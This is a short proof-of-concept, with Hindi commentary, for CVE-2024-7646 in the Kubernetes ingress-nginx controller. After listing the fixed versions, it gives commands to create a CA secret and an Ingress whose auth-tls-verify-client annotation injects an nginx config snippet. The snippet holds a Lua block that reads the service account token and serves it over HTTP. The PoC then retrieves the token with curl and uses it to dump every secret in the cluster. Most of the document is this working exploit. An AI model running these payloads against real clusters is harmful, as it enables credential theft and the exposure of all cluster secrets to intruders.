
CVE-2024-7646 के लिए PoC
डिफ़ॉल्ट रूप में, nginx.ingress.kubernetes.io/server-snippet अक्षम है, लेकिन इस CVE के कारण, nginx.ingress.kubernetes.io/auth-tls-verify-client फिर भी कस्टम स्निपेट्स या यहाँ तक कि lua कोड भी सम्मिलित कर सकता है।
ingress-nginx controller v1.11.2 - kubernetes/ingress-nginx#11719 और kubernetes/ingress-nginx#11721 द्वारा स्थिर किया गया ingress-nginx controller v1.10.4 - kubernetes/ingress-nginx#11718 और kubernetes/ingress-nginx#11722 द्वारा स्थिर किया गया
इनग्रेस बनाने की अनुमति आवश्यक है
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: cve-ingress
namespace: default
annotations:
nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
rules:
- host: test.ingress.io
http:
paths:
- pathType: Prefix
path: /test
backend:
service:
name: test-service
port:
number: 8080
EOF
डिफ़ॉल्ट कॉन्फ़िगरेशन में, वह क्रेडेंशियल क्लस्टर में सभी सीक्रेट्स तक पहुँच रखता है।
TOKEN=$(curl 127.0.0.1:8080/token -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml